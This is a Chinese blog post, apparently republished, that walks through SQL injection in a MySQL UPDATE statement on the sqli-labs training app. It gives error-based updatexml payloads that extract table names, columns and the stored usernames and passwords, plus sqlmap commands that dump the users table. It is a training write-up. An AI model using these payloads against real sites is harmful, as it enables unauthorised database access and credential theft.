POST Update语句注入

Posted 山川绿水

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了POST Update语句注入相关的知识,希望对你有一定的参考价值。

POST Update语句注入

1.mysql update介绍

update语句可以用来修改表中的数据,简单来说基本的使用形式为:
update 表名 set 列名称=新值 where 更新条件;

UPDATE table_name SET field1 = new-value1,field2=new-value2[WHERE Clause]

我们在MySQL命令行中展示,我们以id=8username=adminpassword=admin为例


执行更新语句

update users set password='admin888' where username='admin';


可以看到用户名为admin的密码,成功更新为admin888

2.过滤内容介绍

sqli-labs17关为例,源代码如下所示

判断是否有单引号存在

3.MySQL update注入

分析源代码可以发现,仅仅是对username进行了过滤

在下面,我们又可以发现一条更新的语句

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";


可以闭合前面的单引号,后面执行我们的SQL语句.

1.进行抓包
当我们使用反斜杠,可以看出password是单引号闭合

uname=admin&passwd=admin\\&submit=Submit

2.闭合单引号,爆破数据库

1'and (updatexml(1,concat(0x7e,database(),0x7e),1)) #


3.获取数据表信息

admin' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1))#


4.获取字段
爆破第一个字段

admin' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1))#

爆破第二个字段

admin' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),1))#


爆破第三个字段

admin' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e),1))#


5.爆破字段内容

dmin' and (updatexml(1,concat(0x7e,(select username,password from users limit 0,1),0x7e),1))#

You can't specify target table 'users' for update in FROM clause

解决报错的方法,不能使用先select表中的某些值,在update这个表(在同一语句中)。

解决方法:将select出的结果作为派生再select一遍,这样就规避了错误。

admin' or updatexml(1,concat(0x7e,(select * from (select username from users limit 0,1) a),0x7e),1)#

admin' or updatexml(1,concat(0x7e,(select * from (select password from users limit 0,1) a),0x7e),1)#

4.sqlmap安全测试

1.获取数据库信息

python2 sqlmap.py -r "1.txt" --dbs


2.获取表名

python2 sqlmap.py -r "1.txt" -D security --tables


3.获取字段名及内容

python2 sqlmap.py -r "1.txt" -D security -T users --dump

5.ps

(1)因为我选择的是默认情况,所以burpsuit不回显数据,但是在前端构造语句也是一样的,可以爆破出数据库及其内容。
(2)由于我的sqlmap出现问题,渗透测试的时候使用了默认情况

6.参考链接

https://www.cnblogs.com/llcn/p/12744772.html

以上是关于POST Update语句注入的主要内容,如果未能解决你的问题,请参考以下文章

如何防止SQL注入漏洞

SQL注入之初窥insert,update,delete注入

php如何防止sql注入?

sql注入之 update/insert/delete篇

代码审计之SQL注入

php代码审计SQL 注入研究